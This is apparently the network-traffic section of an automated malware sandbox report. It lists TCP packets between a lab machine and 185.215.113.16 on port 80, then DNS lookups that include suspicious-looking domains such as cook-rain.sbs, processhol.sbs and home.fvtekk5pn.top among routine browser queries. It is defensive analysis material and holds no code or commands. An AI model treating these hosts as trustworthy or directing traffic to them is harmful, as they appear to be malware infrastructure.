Nov 21, 2024 07:10:38.366735935 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.367638111 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.367685080 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.367739916 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.368613958 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.368655920 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.368752956 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.369224072 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.369601011 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.369724035 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.370619059 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.370672941 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.370716095 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.371599913 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.371695995 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.371746063 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.372555017 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.372663021 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.372704983 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.373519897 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.373637915 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.374512911 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.374578953 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.374648094 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.375514030 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.375607014 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.375663042 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.376808882 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.376843929 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.377475023 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.377480030 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.377569914 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.377610922 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.378441095 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.378547907 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.379435062 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.379487991 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.379533052 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.380419970 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.380526066 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.380575895 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.381403923 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.381503105 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.382370949 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.382424116 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.382479906 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.383368969 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.383409977 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.383477926 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.384308100 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.384349108 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.525065899 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.525109053 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.525228977 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.525419950 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.525549889 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.525604963 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.526384115 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.526434898 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.526576996 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.527364016 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.527456045 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.527506113 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.528343916 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.528429985 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.528476000 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.529412985 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.529500961 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.529561996 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.530304909 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.530433893 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.530476093 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.531302929 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.531420946 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.531466007 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.532282114 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.532330036 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.532367945 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.533298969 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.533376932 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.533421993 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.534251928 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.534356117 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.535240889 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.535310030 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.535358906 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.536232948 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.536335945 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.536384106 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.537209988 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.537337065 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.538191080 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.538237095 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.538333893 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.539179087 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.539321899 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.539367914 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.540177107 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.540349007 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.540391922 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.541140079 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.541189909 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.541239977 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.541536093 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.542109013 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.542238951 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.542280912 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.543128014 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.543174028 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.543235064 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.544086933 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.544172049 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.544214964 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.545078039 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.545135021 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.545207024 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.546070099 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.546202898 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.546245098 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.547030926 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.547143936 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.547183037 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.548027039 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.548136950 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.548177004 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.548995018 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.549168110 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.549210072 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.549972057 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.550065041 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.550235033 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.550961971 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.551080942 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.551135063 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.551966906 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.552007914 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.552134991 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.552973986 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.553040028 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.553082943 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.553453922 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.553921938 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.553966045 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.554012060 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.554193974 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.554909945 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.554950953 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.555023909 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.555150032 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.555902958 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.556000948 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.556233883 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.556898117 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.556940079 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.557018995 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.557123899 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.557869911 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.558054924 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.558099031 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.558870077 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.558995008 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.559048891 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.559838057 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.559885025 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.559983015 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.560097933 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.560832977 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.560934067 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.561054945 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.561803102 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.561847925 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.561922073 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.562124968 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.562802076 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.562846899 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.562935114 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.563021898 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.563838005 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.563883066 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.563910961 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.564590931 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.564764977 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.564806938 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.564862967 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.565002918 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.565737009 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.565779924 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.565859079 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.566356897 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.566736937 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.566780090 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.566838026 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.566907883 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.567712069 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.567765951 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.567806005 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.568412066 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.568691969 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.568753004 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.568800926 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.569808006 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.569868088 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.569943905 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.570023060 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.570640087 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.570687056 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.570764065 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.571038008 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.571676016 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.571858883 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.571902037 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.572648048 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.572779894 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.572839022 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.573611021 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.573654890 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.573724985 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.573894978 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.574584961 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.574630976 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.574743986 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.575596094 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.575665951 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.575699091 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.575795889 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.576525927 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.576606989 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.717072010 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.717241049 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.717312098 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.717628956 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.717830896 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.717875957 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.718517065 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.718666077 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.718703985 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.718744993 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.719510078 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.719628096 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.720458031 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.720509052 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.720552921 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.721457005 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.721560955 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.721606970 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.722470999 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.722678900 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.722726107 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.723426104 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.723505974 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.723561049 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.723561049 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.724414110 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.724534035 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.725085020 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.725409031 CET	80	49828	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2024 07:10:15.933237076 CET	192.168.2.4	1.1.1.1	0x2990	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:34.434283018 CET	192.168.2.4	1.1.1.1	0xc514	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:34.434546947 CET	192.168.2.4	1.1.1.1	0x2d2d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 21, 2024 07:10:41.044722080 CET	192.168.2.4	1.1.1.1	0x7d02	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:41.044836998 CET	192.168.2.4	1.1.1.1	0xcdf4	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 21, 2024 07:10:41.991837025 CET	192.168.2.4	1.1.1.1	0xbadd	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:41.991970062 CET	192.168.2.4	1.1.1.1	0xd05	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 21, 2024 07:10:42.099601030 CET	192.168.2.4	1.1.1.1	0x7d32	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:42.333437920 CET	192.168.2.4	1.1.1.1	0xf950	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 07:10:46.013187885 CET	192.168.2.4	1.1.1.1	0x6524	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:46.018775940 CET	192.168.2.4	1.1.1.1	0xed00	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:46.249330044 CET	192.168.2.4	1.1.1.1	0xea34	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:46.252437115 CET	192.168.2.4	1.1.1.1	0xfcaa	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:46.494034052 CET	192.168.2.4	1.1.1.1	0x295d	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 21, 2024 07:10:46.509469986 CET	192.168.2.4	1.1.1.1	0x3dd2	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 07:10:47.141093969 CET	192.168.2.4	1.1.1.1	0xf822	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:47.237557888 CET	192.168.2.4	1.1.1.1	0xb3c1	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:47.368906975 CET	192.168.2.4	1.1.1.1	0xd4cc	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:47.603019953 CET	192.168.2.4	1.1.1.1	0xc19c	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 21, 2024 07:10:47.903604031 CET	192.168.2.4	1.1.1.1	0xe85f	Standard query (0)	processhol.sbs	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:48.335599899 CET	192.168.2.4	1.1.1.1	0xb141	Standard query (0)	librari-night.sbs	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:58.825810909 CET	192.168.2.4	1.1.1.1	0x2283	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:10:58.825906038 CET	192.168.2.4	1.1.1.1	0x53d2	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 21, 2024 07:10:59.419704914 CET	192.168.2.4	1.1.1.1	0x89f1	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 07:10:59.889353991 CET	192.168.2.4	1.1.1.1	0xe506	Standard query (0)	befall-sm0ker.sbs	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:00.715970993 CET	192.168.2.4	1.1.1.1	0x123	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 21, 2024 07:11:00.871426105 CET	192.168.2.4	1.1.1.1	0x7af7	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:00.886662006 CET	192.168.2.4	1.1.1.1	0x7710	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:00.947604895 CET	192.168.2.4	1.1.1.1	0xeb86	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:01.041253090 CET	192.168.2.4	1.1.1.1	0x36bb	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:01.175069094 CET	192.168.2.4	1.1.1.1	0xbc25	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 07:11:01.269351959 CET	192.168.2.4	1.1.1.1	0xdbf7	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:01.313266039 CET	192.168.2.4	1.1.1.1	0xfd72	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:01.496378899 CET	192.168.2.4	1.1.1.1	0xe5f4	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 07:11:01.540107965 CET	192.168.2.4	1.1.1.1	0x3601	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:01.781055927 CET	192.168.2.4	1.1.1.1	0x8c16	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 07:11:03.539745092 CET	192.168.2.4	1.1.1.1	0x9979	Standard query (0)	processhol.sbs	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:04.253405094 CET	192.168.2.4	1.1.1.1	0x73d1	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:04.546437979 CET	192.168.2.4	1.1.1.1	0x158a	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:04.593409061 CET	192.168.2.4	1.1.1.1	0xb2ce	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:04.830207109 CET	192.168.2.4	1.1.1.1	0x796c	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:04.830375910 CET	192.168.2.4	1.1.1.1	0x3276	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 07:11:05.067100048 CET	192.168.2.4	1.1.1.1	0x707d	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 21, 2024 07:11:05.067367077 CET	192.168.2.4	1.1.1.1	0xd7a1	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
